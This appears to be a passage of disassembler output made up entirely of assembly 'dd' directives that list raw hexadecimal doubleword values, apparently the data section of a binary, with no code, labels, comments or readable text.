		dd 0F20CA764h, 1430E5AEh, 5C748E00h, 622A6EC4h,	519603C5h
		dd 24304960h, 2C3253A0h, 9718417Ch, 0E2C17850h,	0F10A6043h
		dd 0D580188Dh, 37E0C083h, 915F2C9Dh, 0EE090099h, 0BE3394EBh
		dd 0F2A64806h, 0FE900B76h, 72221C85h, 0C214C4F5h, 0AA7E8042h
		dd 0FD1EB2D5h, 9F7A4A71h, 0DC40B318h, 544F60Dh,	0F59D395Ch
		dd 0E692C80h, 7B9E080Bh, 72CEB700h, 9DDCE5A9h, 0C040CBB0h
		dd 80ADFE84h, 0BC14452Dh, 1A3CAC7Ch, 0D86B07B9h, 2DA1CD70h
		dd 20F0B123h, 7DFF7160h, 93CC0069h, 6C2FB8BAh, 0FCE9624Dh
		dd 8303354Fh, 0F748031Eh, 31283EDCh, 38643000h,	434E4909h
		dd 1968B230h, 0B34648h,	0F9A833EFh, 0CC3D0ABEh,	0C15D0C01h
		dd 2803D7F7h, 31717880h, 0C07204FCh, 0B4EB0F03h, 9821ADB2h
		dd 2B2301h, 3F310E5Ch, 5BF72704h, 0C3C5AA0Dh, 9403E05Ah
		dd 5D4290F1h, 32DB7C7Ch, 11196D81h, 0E4738C82h,	0A48BF00h
		dd 330C07CFh, 70D82499h, 515A4955h, 50109865h, 30DF043Ch
		dd 0A61069DDh, 0F200286Ch, 2E9C3D67h, 3D557C31h, 6281EB78h
		dd 0E0159EB1h, 6738FCE7h, 140170E0h, 543035DDh,	0C0F6839Bh
		dd 0B0C140h, 1B2E3AD7h,	62A116D2h, 71CBE403h, 0D8993870h
		dd 30182B3h, 753B729Dh,	808F8749h, 0A0572514h, 0AABC670Eh
		dd 669E406Dh, 1C34DA88h, 0C2857B93h, 0FCCB8DC4h, 41896AC0h
		dd 8132ED00h, 0F01D1C7Eh, 59BD0082h, 615152D6h,	170054F4h
		dd 2233C805h, 490128h, 0DC7CE8FDh, 5881563Bh, 575F4F0Eh
		dd 0C0984ECBh, 0D9806B3Ch, 92210622h, 199B8B9Dh, 3AB59503h
		dd 0A8EF20D6h, 0D75396h, 0CDF3BD24h, 930E36E7h,	9B0028DCh
		dd 38DAC90Ah, 0CF7100B2h, 0D168E5DFh, 0D800274Ch, 2C3DF47Dh
		dd 1FD0255Ch, 8C874BD2h, 85698B7Bh, 21BC6118h, 0F3532C1h
		dd 82D9D094h, 0B2916060h, 6F30EB22h, 0F4CE7120h, 5854009Ch
		dd 0E732DB42h, 0ECA32378h, 0D0FF0889h, 5A00DC55h, 0F0F47BC1h
		dd 73905612h, 0C300904h, 42054D1h, 0C90FCF9Ch, 1FCB3F3Dh
		dd 0B9F3B6h, 0BFA2627Fh, 38A09072h, 0C2005982h,	186D6F1Ch
		dd 600653CCh, 0C0E1170Ch, 0E22B3F60h, 7482BF81h, 0E4C609FFh
		dd 21006088h, 0B65C950Ah, 7F6C849Dh, 177C00B4h,	6DF47E87h
		dd 2400F3ACh, 0C9ADC32Bh, 1C0FF8h, 483F8A15h, 2DAA7EABh
		dd 35DAD200h, 8F148558h, 15FE5Ch, 9B33CB72h, 40FAC41Dh
		dd 4DFDDC2Ch, 0E4379600h, 1DB87426h, 80A97FE0h,	0ECC8D5D7h
		dd 9D00A2D0h, 11CC1FEh,	52D81E5h, 907C97F8h, 0C1B31C4Eh
		dd 591D263Ch, 0C48821A8h, 4C0ECA1Ah, 210A1CB5h,	92B6300Ch
		dd 0D03B9C40h, 0D9860038h, 62256327h, 0F900EBDEh, 0A1E63FBCh
		dd 0BE5ED8h, 0A35C7D23h, 0ABA4752Ah, 4C8D1400h,	0F7E70356h
		dd 8CBF0324h, 1CFE7EC1h, 0C0877382h, 4F28E00Ch,	0F20102F9h
		dd 2F7CB897h, 0B8D76ED4h, 9616CAh, 5AC8FD0Dh, 89CB144Dh
		dd 0AC23300h, 0E3ED7EA0h, 0EFBA0F4Bh, 0FF60C09h, 0CCE02646h
		dd 3C61E63Ah, 0A41D573Ch, 0A8870083h, 3D50BE3Bh, 1DC7432Fh
		dd 1F47ABDh, 704C478Ch,	1DE6F02Dh, 0EBB1DD01h, 96DF7D0Eh
		dd 0F483013Bh, 406E76B0h, 655E729Ch, 0F5EC2AF2h, 0EBD55800h
		dd 222D74B2h, 519C18B1h, 8D652845h, 5F19DD09h, 123C1ED1h
		dd 1F8941A5h, 0EEF04110h, 0E5B3C959h, 0A740AC48h, 69EA8200h
		dd 2632DC99h, 9F68940Dh, 6325C0FAh, 0D05638A1h,	0C700A474h
		dd 6E8FBC0Eh, 70FCD15h,	0A591F1DBh, 0AA961268h,	0BFD8A440h
		dd 0B113E00h, 9F64FAEAh, 0FE7707E9h, 0B066863Ah, 0C2237FBDh
		dd 16823381h, 0FB9AC3D8h, 12F808C0h, 0CB732600h, 1735D916h
		dd 0B6221F9Ch, 3C178Eh,	3207FC55h, 0F500C554h, 4B8394F1h
		dd 0DAB36Bh, 3702732Bh,	0F03FB516h, 8E0CFA03h, 1F34486h
		dd 2FFD6D28h, 0D763E858h, 0D2A03AE0h, 0B7E06C00h, 0E4FC282Ah
		dd 0CD921E8Bh, 118880BEh, 30B48AFBh, 0B9C40B0Ah, 39038C26h
		dd 0F02A1E3Dh, 0B279B5h, 5D4ACD93h, 1938AE87h, 0E04C800h
		dd 72F5C3F0h, 30FE0029h, 9C5075DAh, 0A700015Fh,	0BBEA21AEh
		dd 0F2D882h, 0E9E508D0h, 0E867F6Eh, 498E0900h, 0D33A95Bh
		dd 0B1D40EF9h, 0DC6053FCh, 8BFB3102h, 0EB4F2700h, 304E4A9Dh
		dd 0FD87002Ch, 96242265h, 0E100440Ch, 76950BC6h, 57BF1B4h
		dd 678504D8h, 6E5487D9h, 0F8D23980h, 8C00AB3Dh,	0FA2B348h
		dd 878960h, 73BFFAF4h, 0C02FF8FBh, 4E5D4000h, 0FCC8DD9Fh
		dd 674D037Ch, 747A662Bh, 0DC7F6FF0h, 0D094574h,	613D20h
		dd 0D4C87778h, 60B0079Fh, 71459BD0h, 0C576F832h, 3AC3413h
		dd 9920A4A6h, 0ACEA00BBh, 9A2DD741h, 870F1D50h,	40694032h
		dd 944715C4h, 0DBFE0Ch,	29709D8Eh, 882A473h, 62A058h, 43CA3F4Fh
		dd 499AA7h, 426F966Ch, 8D357921h, 2DC90100h, 0D565E34Ch
		dd 697E58C4h, 6AC1CD00h, 7D692840h, 764B601h, 770AFD51h
		dd 0F8054082h, 66206D24h, 1CE30269h, 8071E14Fh,	50200C49h
		dd 0CA0070E9h, 0A891BB5Fh, 7479D418h, 0FC69F457h, 1F3F00EBh
		dd 0C31470Dh, 86EAAE13h, 0A6AD7100h, 0FC12A3C6h, 0BA790094h
		dd 0A2467359h, 5F00F045h, 5EF51AC2h, 7B074A53h,	0B64300F2h
		dd 0CD5452E0h, 0C9722723h, 0A365B80Fh, 0B90FE016h, 4EDF13h
		dd 99280A05h, 6BF118F0h, 3DE57C04h, 0BAC32EADh,	3C7AB097h
		dd 0CA8E487h, 71616BE8h, 3F00AB7Ch, 0BFCACD13h,	688F49h
		dd 8896E73Ah, 0E93D647Bh, 260005EEh, 0EB6B4DBCh, 342776h
		dd 90E0F0D6h, 2CC39C0Ch, 3B01FE72h, 26E2ADA4h, 3C2442D5h
		dd 345F2CDh, 99F012EEh,	669ACFA7h, 0BC1CA868h, 199B2500h
		dd 1C339F4h, 34E32EF6h,	32DE00E3h, 30CF91CBh, 0F7DD2100h
		dd 0EBEDEA0Dh, 0FAD10FDCh, 70EFDBE4h, 0D4802FEBh, 1143C3BFh
		dd 2A94CA08h, 0E263808Fh, 787282Bh, 6A72F302h, 812394DDh
		dd 2BD51910h, 1AFF474h,	0A64F8493h, 0D0748533h,	0E4501402h
		dd 5A1FAB10h, 45C6C9E5h, 3808BE6Ch, 0D380B8DAh,	0A96DE63Dh
		dd 6E4BA6AAh, 8400F1A8h, 0E3F5D773h, 160F5214h,	17F7005h
		dd 59E13F94h, 184B13E8h, 0C04FCF58h, 631C43CBh,	6BC0CC27h
		dd 5FF9A64Dh, 0A8EA03C0h, 439C3076h, 656CA4E0h,	0CC371B05h
		dd 78316A78h, 6852EA19h, 4506009Bh, 0D7002E0Eh,	0E02DC075h
		dd 25E9FFh, 90F95019h, 1D5EAA6Fh, 4F552400h, 79D98392h
		dd 880C0A37h, 8BB5B2h, 0FB0C260h, 2E71A08Dh, 0FB63838h
		dd 83BFEA09h, 0E0DB9F84h, 2C7B92C7h, 868C6411h,	74E46630h
		dd 2B074706h, 4A084ED6h, 0A9B40132h, 0D453E46Dh, 0DE04BFE2h
		dd 0D962A6E9h, 384683h,	2D8C98D0h, 0B3DFCCB2h, 0F41FF1F0h
		dd 80F98B25h, 0BF0F16A0h, 7E2BEE7Bh, 6C7806A3h,	9188B126h
		dd 4E0F680Ch, 515CA827h, 60848C8Dh, 4029C9DEh, 6D23BD04h
		dd 44BB06BEh, 8ECA7E4h,	20D71230h, 23DF6Ah, 17A2CC76h
		dd 4DE59A47h
		dd 3BB89D54h, 0DB31461Eh, 7715F7C0h, 1AD22E2h, 9CBE29CCh
		dd 244830ACh, 860A2484h, 0D01BA851h, 0D878F843h, 0CA3A64Bh
		dd 0A5952784h, 31DCF608h, 0FFC0DF9Ch, 355C5DFAh, 6EA200C2h
		dd 70CA38ECh, 6406D1E5h, 0A14CEE99h, 0B8A61D68h, 0C9663113h
		dd 44798043h, 0DD87CA4Ah, 0A3A000ABh, 3BB2D730h, 0A87E4F11h
		dd 48E9230Ch, 0B8D1E4h,	69726C52h, 1963CD5Fh, 0B4086764h
		dd 7AA5E0D0h, 13D2016Ch, 10233E3h, 97AC4007h, 0A2602E8Eh
		dd 0F60FA488h, 0BF630FDBh, 91801992h, 3570E483h, 4804CE3Dh
		dd 0C7AC00CBh, 54DF03F6h, 75FC0043h, 36207FFDh,	4700DB72h
		dd 0C2D389DDh, 3BA3Bh, 0DA5011E4h, 442C2B1Ch, 0E718ED02h
		dd 0C0A445CFh, 1634724h, 0D85619DEh, 0D4E0348Bh, 203C04Eh
		dd 8CAFDDF1h, 88840098h, 0AB5DC21h, 2A01AB85h, 27D83A02h
		dd 0C3CDBF89h, 6FDCB8F3h, 0E57469h, 0DE92319Fh,	0A01B9B61h
		dd 31FD8D3Fh, 0D687089Ah, 0ED322080h, 66095461h, 83F5A300h
		dd 0EB8CBC19h, 51AC18B4h, 410848E8h, 0B066FE06h, 60680EA7h
		dd 4B6961F2h, 0F1EBF78h, 1C0784D7h, 20CCA275h, 0B197307Fh
		dd 0DA8EA09Ah, 93F0201Dh, 2032370Ch, 0B18000EDh, 0BCCC9AD9h
		dd 3F18460Eh, 99602207h, 49A96059h, 15538928h, 0E00B0830h
		dd 638F3F3Eh, 166D2813h, 0B0E42098h, 2DF68603h,	12BA6779h
		dd 0E13718h, 30D69526h,	66004E23h, 0B3851CB1h, 4AF6E2h
		dd 8EDA72F2h, 9843D93h,	40CE3Eh, 55A2D0B6h, 3F12418h, 0D4AB473Ch
		dd 0BEA8CC93h, 0F258621Eh, 7A100015h, 0EF9C6D3Ah, 676601DDh
		dd 23915F90h, 0E0607159h, 0FB005346h, 928D0988h, 375F687Fh
		dd 84F5Ah, 0D5534723h, 0CF099F00h, 82A1F7EDh, 25C60020h
		dd 1658951Ch, 9206133Bh, 29F38E7Ch, 3E2FA030h, 6FBB0122h
		dd 0E8D77F60h, 5B088C81h, 134E207Dh, 0EB5E224Dh, 0D95A8800h
		dd 566F32h, 8737BFE8h, 0B192212Dh, 1E551203h, 1872805Dh
		dd 40A53468h, 83527C91h, 22550238h, 30886FE2h, 0A78045F3h
		dd 2622014Ch, 0D8F1C1D6h, 8039A0EAh, 0E855BC0Dh, 0B9E06011h
		dd 0EB2A003Ch, 9ED9C147h, 29C05624h, 3FE9BC73h,	0EF7E031Ch
		dd 0F595D442h, 210177A3h, 47E9E29Eh, 6720D14Bh,	0F87F253h
		dd 285CE1CBh, 0C9F16078h, 60C1D0B8h, 14BEA656h,	30CAA049h
		dd 0BF112282h, 4188406Fh, 2240629Dh, 0E4591FDDh, 0BF5F002Dh
		dd 9966D9C2h, 60C00E78h, 0F31219CAh, 0FF40000Bh, 0D85ED7B8h
		dd 7C00B994h, 215DEFF9h, 0B4A151h, 0A46E0204h, 8A3F9210h
		dd 1D0014ECh, 42C4A2FFh, 156C8Bh, 861AEB2h, 0F8D0F5E8h
		dd 8ECCB707h, 0FE2013FDh, 0DE1268h, 3CBFCFA5h, 0A7F5ECC5h
		dd 693FD500h, 0E2A99BB2h, 1CF3003Ah, 0ED755BADh, 2C00ACB9h
		dd 30F72E6Bh, 0FE903Fh,	0E0D42193h, 0F4B81D46h,	2B5FD800h
		dd 0AC5943BAh, 4D521831h, 6ECD3802h, 30135D01h,	706668E3h
		dd 0C8F0ADD1h, 209009Eh, 0B8D8161Fh, 6B008082h,	0E49BEC35h
		dd 0D36EAAh, 38F1F5D9h,	1782CB2Dh, 0EA533Ah, 73AC68C3h
		dd 13E165Bh, 0ABBA27EBh, 0F0516C43h, 897CA378h,	0FE92D104h
		dd 1F762Ah, 4BE21370h, 50BD24B8h, 0A09F601Dh, 0B2051D6Dh
		dd 8CE32E1Eh, 6EBF4842h, 6BB560F6h, 0CFCD00C8h,	3915BC91h
		dd 43E8F006h, 2300B1EEh, 6F27B82Dh, 0FFD192Ch, 949CE32Fh
		dd 55485918h, 778E6A0Fh, 1D433FB9h, 98A0AF3Bh, 2ADAAB8Bh
		dd 0E84E8F5h, 0FD51E0CFh, 802D7F47h, 89BB8AB9h,	98050F00h
		dd 0B8925A7Ah, 9341007Dh, 0BAE3A4C5h, 32008D8Ah, 0FB830AABh
		dd 3FEFFD80h, 0AC046DE7h, 0F869A9D4h, 49C0384h,	0A0D26372h
		dd 406094h, 0B6DEEF09h,	167C2C1Bh, 0D0211C00h, 3279FF78h
		dd 1AA63D97h, 0B3ED20Fh, 20F8C6CEh, 7A5C2BD5h, 0C26A094Bh
		dd 236A8F44h, 90FE1C43h, 0F6B1A88h, 0A42DC8EAh,	61D31D81h
		dd 68188032h, 5618C5DBh, 39A0381Eh, 0BC07506Fh,	6B8A5128h
		dd 431DC0EBh, 0D408FA63h, 5C200020h, 882C22CFh,	95052DD5h
		dd 1A0BBA48h, 36413004h, 6123C11Bh, 22CD0FEDh, 3CB36B02h
		dd 0B110C119h, 470322D5h, 0F87930AFh, 80EA883Eh, 7A330284h
		dd 0E998D788h, 3DD69482h, 1F616918h, 61369730h,	1302C791h
		dd 0C8847A06h, 57F504C0h, 5A2E1E05h, 2808D548h,	60FBC1D0h
		dd 0D06F896h, 11C44486h, 707A1300h, 5ADA8AF1h, 1E6902E0h
		dd 142E42C5h, 61058080h, 89076634h, 30A44D81h, 54415130h
		dd 6CD0008Dh, 18A23A10h, 1A002526h, 476460A6h, 1B50A0h
		dd 7497FADDh, 0ACCC5814h, 0BF3E3200h, 6C341180h, 156000EBh
		dd 91B5D350h, 10009349h, 0BE3D4F0h, 74F9BFC4h, 0DC6000Fh
		dd 399DFC17h, 60000528h, 21CB7922h, 306B35h, 0BC178C6Eh
		dd 1F68BA8Fh, 283AF900h, 3451055Ah, 173F8BDh, 21430403h
		dd 0D04A94BBh, 57008B28h, 0E7D70AB1h, 8274E9h, 0A31EC87Dh
		dd 0A2063E35h, 56AA171Eh, 0FDDBF100h, 60306E2Eh, 0F2BF5022h
		dd 372E2A15h, 0F100762Fh, 87197821h, 52471EF9h,	1F13401Eh
		dd 1DFDC069h, 39CA7700h, 83DCD959h, 0C1A5012h, 0D55B0F64h
		dd 0DECE0213h, 44D8F7A0h, 743A14B8h, 0FE7B18B3h, 182F08B0h
		dd 8124906Eh, 1F07C684h, 0E5D6E666h, 15C3B491h,	39FA0D4h
		dd 0D821F2EDh, 190D9B58h, 0CA78A72Dh, 39918A0h,	388826AAh
		dd 50A75B9Fh, 61487B28h, 81BFA507h, 50F39922h, 0FF23A82Fh
		dd 899C0062h, 0DE4596F3h, 6CE0AB2Eh, 0A9C35300h, 0E3EBC50Fh
		dd 0AD3900B2h, 9F3ABE17h, 871C86ECh, 12C3A8C6h,	8488F5h
		dd 0D0BB9508h, 0EBD9376Bh, 0AA998312h, 98B95700h, 7EA5117Ch
		dd 0ACBE0ED3h, 0F140332Bh, 3124C909h, 8C23F63Fh, 481478B2h
		dd 0A98660E3h, 852B3EB8h, 0A8F78EA0h, 81CBBC00h, 1AA3A0C3h
		dd 72E9005Bh, 7498B3A4h, 6E001065h, 0F669845Eh,	2BCFCh
		dd 0FFA94094h, 0EDCABA39h, 0C1420600h, 6F585E18h, 63571E84h
		dd 0E3144E6Dh, 736A6520h, 0B90ED6A0h, 408595F4h, 2B159AD4h
		dd 0CFE300ECh, 0EAEDF20Fh, 5D027E86h, 0A0B44820h, 5CE15DB3h
		dd 19316042h, 0EEDA2B0Ah, 0B9009545h, 229931F5h, 713739D6h
		dd 3A4DD88Eh, 86E70D40h, 7CE8237Fh, 2798381Ch, 0EC4BB740h
		dd 3D0EFEDBh, 0D1BC67B3h, 3DED692Ch, 0FE31292h,	403F585Dh
		dd 101A5F34h, 5703B919h, 55E69F44h, 0B8190052h,	3DD38463h
		dd 9730CDEEh, 5AFF9044h, 74C41E24h, 92278CA0h, 7275FC19h
		dd 9DF7602Ch, 496F3E00h, 0EE8ABEh, 0CE74B421h, 0B0885748h
		dd 6518CC76h, 7E38531Ah, 63897F44h, 48F749F5h, 68DE1900h
		dd 43CF25C9h, 5947C26h,	0A5F2D409h, 47A05CEBh, 10B52497h
		dd 987F1213h, 0B7844150h, 0EC588360h, 1C34DC8h,	0A1FECFE9h
		dd 0CC7C6F46h, 0A9B0F712h, 8E752100h, 0AE0F5881h, 567C68h
		dd 336196CFh, 0F11264AFh, 0FEA95000h, 6E0D607Ah, 39F6000Ah
		dd 0D7BFEB5Fh, 0F00F70Ch, 9AF58C68h, 3D5DD36Fh,	8E80D03Ch
		dd 0F2158F50h, 7E769310h, 0B50307FEh, 0FC1F7778h, 0FDCFE0EFh
		dd 180373F0h, 380A6881h, 6767485Dh, 4A600F88h, 2261BD7h
		dd 8B7C75EDh, 0DD803A91h, 9E66A361h, 106AD200h,	89082E17h
		dd 7C5BF87Fh, 27F95818h, 0E4BA1B06h, 0A33E1888h, 0DCF80013h
		dd 360746E1h, 44EE0068h, 0B11EEA08h, 0EFF2AA4Dh, 0B8DF8B07h
		dd 16C106ABh, 9700477Ch, 0F38F408h, 0FCBE0C0Ah,	1C3A002h
		dd 32501155h, 573126E4h, 0A66500A0h, 1903F5FCh,	1FB04DC3h
		dd 835992B6h
		dd 7296ABh, 0AD9126E8h,	605EF055h, 2FA2300Fh, 17EBA1h
		dd 0F8D7A70Dh, 529A5C21h, 1DA49B00h, 3C205FB0h,	4C748778h
		dd 0EBD5F800h, 62D92554h, 85390335h, 0DACF8447h, 0D75CA8B8h
		dd 0B3033CF8h, 2E403650h, 0C1D9C3DFh, 40806776h, 29D42DA3h
		dd 12072061h, 0FC573347h, 483B54B0h, 0C31003CEh, 6A53F266h
		dd 0A69F00FCh, 2CEF5Ah,	0F49AF7E2h, 0F0AD10B8h,	0DF0C30FEh
		dd 902AB0FCh, 32FFA3Ch,	9CF470FAh, 40E704FBh, 41914B67h
		dd 0F914490Dh, 2C0B9853h, 2DC02006h, 9230A863h,	8A14F132h
		dd 60FD6FB2h, 8B46409Dh, 5413B887h, 0ECE820C3h,	5762A0F7h
		dd 0CF161CDAh, 90F29F6Fh, 9565003Bh, 69D34509h,	4E78C066h
		dd 0E215D496h, 97FFC000h, 0B32650F7h, 0D5F00029h, 33C8E0D3h
		dd 0D07BA0CBh, 0A24F3A00h, 9A962D4h, 2024A45Dh,	0EB00E003h
		dd 33C2CBA8h, 6372BE90h, 0DEFDC993h, 8A3BB905h,	0D05A8717h
		dd 60041D98h, 0F1E44892h, 0AB00C0F8h, 0C68D490Eh, 0AF88BEh
		dd 74C89063h, 9F21506Ch, 0A3CC291Dh, 6800FA52h,	6F44DBA4h
		dd 51D0364h, 0F2F7042Ah, 0B437CA88h, 38718900h,	4BB3B9A9h
		dd 21DE0FC4h, 94251F17h, 0A8BCC0FBh, 0B400A79Bh, 0A4CBAB88h
		dd 3E2D38E9h, 2C80FD2Bh, 3C8B5156h, 0CCFA7425h,	0B5B3060Fh
		dd 0F7ABE0CBh, 0F602C4h, 9D476D10h, 0C7160E4Ah,	9F3A5270h
		dd 0F0E1007Ah, 0C2990768h, 0F81E0062h, 82DC79ECh, 2500D6CEh
		dd 0A604A7D2h, 8D4DD1h,	8E5B147Ch, 0CD22105Eh, 0B006B70h
		dd 4765DBC6h, 3B3CF0ECh, 0F5809567h, 5E747160h,	7600F72Dh
		dd 15589EC9h, 33CC4Ch, 0F2534FEFh, 63D3CA62h, 0DCF5AD00h
		dd 804B88F1h, 0DFEC7h, 280B4278h, 0CEAEE1CDh, 0C462DA00h
		dd 0BC0A3C69h, 0EF3200F9h, 0BDFE96A8h, 0FD0593A3h, 0C65E35C1h
		dd 2AF3D040h, 17EA58Dh,	1E450CE0h, 0EC1A4C19h, 2F09A743h
		dd 20BAE6D3h, 3C0F8670h, 68F40A3Ah, 1DBC561Dh, 0C1B87B08h
		dd 9E981400h, 367B66BAh, 0C3E9B24h, 9F66E80h, 3D2ED4Bh
		dd 0C5EF67BEh, 8FE97255h, 2BCECDB5h, 0F09C10A0h, 0E8E254B6h
		dd 830F000Eh, 0E90A1E82h, 75036E5Dh, 582ECCF0h,	0AB1F80AFh
		dd 4E7400F2h, 0ED9A6349h, 47770853h, 0FD008BE0h, 995BD287h
		dd 8A9F05h, 0C94FB90Ch,	0F317B22Eh, 2A781398h, 4914C32Eh
		dd 69CD0501h, 4CC0F5CFh, 4998B3h, 36A24E60h, 0A9FB7AFFh
		dd 0AE07B2F0h, 388661D2h, 0D850034Bh, 248AC089h, 59F50F32h
		dd 94003319h, 0E1F66FA3h, 40C36D78h, 0D8C7A9A0h, 78CD47h
		dd 0AE4101C5h, 98FA3064h, 2D63D900h, 2FD28479h,	4AF3910h
		dd 0B80CF700h, 739145E2h, 0A1F9AA00h, 0A5EED75Fh, 0F4B600DEh
		dd 592609B7h, 0D0A0F6FEh, 1101D0F1h, 4D15EB72h,	8020379Ah
		dd 0B90F0029h, 54390E08h, 80F9EE4Ch, 16F73C02h,	0A3926Ch
		dd 0AB2B1FCCh, 0B5412DEFh, 499F1003h, 260F9D4Ah, 8CB0164Ch
		dd 0E3C46E6Ah, 0D4575828h, 0CE7C7F00h, 13DEC3B9h, 2677005Ah
		dd 0AF1DE788h, 9B0080E3h, 4DEBB438h, 7EB1116Fh,	2D840093h
		dd 4F977B03h, 12005C24h, 29FD088Eh, 4806C847h, 1B060C91h
		dd 693F77E8h, 0F8B92B09h, 3AEC008Fh, 7FBA31E2h,	80D0DF2Ch
		dd 0D3F1D076h, 0F500C692h, 0A6059362h, 0C88CE3h, 314CAFA9h
		dd 544FDD1Fh, 780B0A07h, 0EE109139h, 0C8E9DFh, 0A242F9D9h
		dd 0A90C6933h, 0DBF15D1Fh, 0E1F56240h, 3F63EDh,	75CD9045h
		dd 69FBABEEh, 0ACB38C0Fh, 0BCE6E0A5h, 1D7C4AB4h, 0A61A39h
		dd 0D1FCBFDAh, 30070854h, 4533A594h, 2007DBC0h,	79C700C3h
		dd 0DA90D682h, 18034A81h, 8DA3F530h, 4D2A0A6h, 0AAAB02Ch
		dd 5AB5CC3Ah, 1C5080F0h, 92E8981h, 72B0AF00h, 264A45FDh
		dd 0FE8A00E2h, 6A05D908h, 7F1C9514h, 0FDC06928h, 723B30EFh
		dd 216800B7h, 8CCD39F2h, 0A80160B6h, 0AD65EB01h, 35E081CBh
		dd 0E2EA007Ah, 0BD99C01Eh, 0E460270Bh, 0D9F7E520h, 0C2C80076h
		dd 9240A8EEh, 10001A44h, 2532F59Bh, 794BBBECh, 73C40317h
		dd 86F7AEEh, 9F0B50A0h,	18A98307h, 2D80EDC5h, 12583C46h
		dd 0C2B064Ch, 0BA18C3EAh, 600054FCh, 95E194B4h,	4BDD720h
		dd 0F42549D5h, 6C99C0BFh, 0B13DAB06h, 0A95D0045h, 500A824Bh
		dd 0E73A005Bh, 1E0DB41h, 0EB003E4Ch, 62BBC09Ch,	9D21A82h
		dd 0D127404Bh, 28CB9020h, 31006B2Dh, 0E4F87E4Ah, 51CCB0h
		dd 938CA707h, 4C4B174Eh, 742B2C00h, 13E53AFBh, 961D00EAh
		dd 1C659AECh, 0A89270DAh, 0BC77D7B0h, 3820CE06h, 43869D9h
		dd 99258184h, 2662C1F3h, 94C8EA24h, 0D491CF9Ah,	9C985E60h
		dd 2C70BD05h, 93535F1Ch, 6A6F3040h, 4E90Eh, 0D00FE03Ah
		dd 94C3F4CCh, 64063B00h, 5D126B26h, 5B382CCAh, 0A30580F0h
		dd 69C145E9h, 0C0D35F04h, 0CC8C6ECEh, 1C053D9Ah, 37A2A112h
		dd 308769F4h, 8B1DC027h, 2100E507h, 36B9C19Eh, 0A9AB17h
		dd 0EDA1AED3h, 0C470B2D8h, 0D9825E00h, 773E88E6h, 89423064h
		dd 0CF293638h, 158BF100h, 0E6F055BFh, 3008B2DEh, 0DD69A09Bh
		dd 0D9000EE9h, 31F75DF1h, 23A47Ch, 0CF93FAB9h, 0DC378171h
		dd 0D148AB05h, 0FC0FB31Dh, 1301FEFEh, 0EB3355F0h, 6058C9h
		dd 42891326h, 46FC4068h, 0B5D15671h, 2A80CC91h,	0ED74DDDEh
		dd 23820122h, 55E018AFh, 0B27C4016h, 86024558h,	26CC56A6h
		dd 43CC8E39h, 0D0F20B3Bh, 7ECE64Bh, 33229C3Eh, 0E0145752h
		dd 73D6C84Fh, 56808C9Bh, 0A05C7FC1h, 87DC99F5h,	23197865h
		dd 29006CA8h, 0F2D21F70h, 25928D7h, 6B479CA2h, 0E0E02CB7h
		dd 0B2D5AFh, 0F918C009h, 0F2380FA6h, 64E1E800h,	0EEC07h
		dd 7A7DB5BAh, 733AF9A4h, 0C75A2100h, 1C20C1DEh,	0E768006Bh
		dd 8E1BAA47h, 0D9048B9Eh, 4AA490A5h, 67785480h,	0EA2505D2h
		dd 0D0E8A870h, 47AF4BE4h, 0C5321100h, 578263D1h, 52AB0419h
		dd 8C1C73B8h, 6907685Ch, 0E513895Bh, 818007C4h,	3C4229h
		dd 0CD83447h, 0A54E368Bh, 0B44FDB00h, 4908AB03h, 0D99914DAh
		dd 0F7058E2Ch, 0F21264h, 22501780h, 8A133791h, 0F0167A73h
		dd 670C3A00h, 56FAECCh,	0D8649BB3h, 2EC0BA3Fh, 0E393E1h
		dd 0BABFFD11h, 0A25648A1h, 0F4DD3707h, 0DC3546B5h, 0CC32F5C0h
		dd 3F8139F0h, 0C1C877FEh, 50964F20h, 49C8503Dh,	1400F834h
		dd 4189C268h, 0A06A5BE7h, 1947794h, 50CB3264h, 203CB81Bh
		dd 0B0B81C32h, 8D2890B0h, 531B3C4Ah, 885092CAh,	17F40A7h
		dd 1B91A0FFh, 34455208h, 0A305431Ch, 160E9871h,	0F0CB9C21h
		dd 38DDC442h, 6B00718Bh, 0C8B84F04h, 0C0930D0Ch, 6C57EA60h
		dd 37307E1Ch, 9FB95986h, 0C0794B9Eh, 0D5FCB4C5h, 71A98203h
		dd 0D8E00E26h, 61E851h,	2E275F91h, 5C8F6B0Ah, 17FAB100h
		dd 2FC7C07Ch, 0A1CC3095h, 9AB6C350h, 7F22C500h,	9C1F10AAh
		dd 8EE416CAh, 73800013h, 0D58C7C38h, 2FD3Bh, 0B37AF41Eh
		dd 0E4529Ch, 78DA80EDh,	61298636h, 4D45F00h, 0AD6BB0F8h
		dd 0BCD011Ah, 67C19AE2h, 0A312C42Ch, 523FF107h,	0A9BF743Ch
		dd 0F0F004E8h, 22091481h, 0EEC0FC28h, 8195A042h, 0E0027971h
		dd 0BD78668Fh, 2798E8A8h, 3DF5009Fh, 0B2A984DEh, 0B4912BF2h
		dd 0ADC88A60h, 98014D9h, 3092B8B5h, 58DD6398h, 0C2F032E5h
		dd 0E0A22F9Ah, 9ACE3058h, 602A00CCh, 6C088BD4h,	0DF0022A1h
		dd 697E47FEh, 0A72E1A3h, 6D1AA2F6h, 6B5480F0h, 0D0D2982Fh
		dd 3BB1F702h, 20C8B613h, 97AB87ECh, 5BFDC10Fh, 1501C15Dh
		dd 70700758h, 702F4D3h
		dd 3BEDB456h, 0B07B83C6h, 66DEDCE0h, 59440500h,	0C215DB8Bh
		dd 34134858h, 1C451BA2h, 0B540859Dh, 334E67DDh,	1B240F70h
		dd 4F60947Bh, 0AD5E99F6h, 49004EB8h, 0D465BA86h, 0C091DB11h
		dd 0C44B3A18h, 282ECA33h, 8F00A19Fh, 0D9303726h, 242E0211h
		dd 0F7C85868h, 429BA468h, 807F5E28h, 0B096DB00h, 6E06B428h
		dd 0FE9100E1h, 0A9883D5Fh, 131D1C81h, 0C245E79Bh, 0A4C036D8h
		dd 499971h, 0EA2FDA82h,	0C17BB5D9h, 98B41C00h, 372A7509h
		dd 78C30043h, 96C5446Fh, 83138ADCh, 1703B8BAh, 0F06B31ABh
		dd 4B5790h, 20519F92h, 3212365Ah, 64003A4Eh, 3F745D62h
		dd 0AED2009Ah, 5EA22793h, 0DC9624D4h, 0F1889641h, 0A0DCDCD1h
		dd 0F9D50F83h, 240C21Eh, 0ABFB6C3Dh, 934F3A1Fh,	0B7203C00h
		dd 4E067ECh, 0BCD6EE47h, 0F8449037h, 0D560C04Ah, 7B885179h
		dd 412F3AE1h, 0D00A6D07h, 594BC3DAh, 0D3A00BE3h, 0D661859Ch
		dd 2E2A3531h, 7993B0C7h, 92F30BA0h, 0C2009F3Dh,	444B2061h
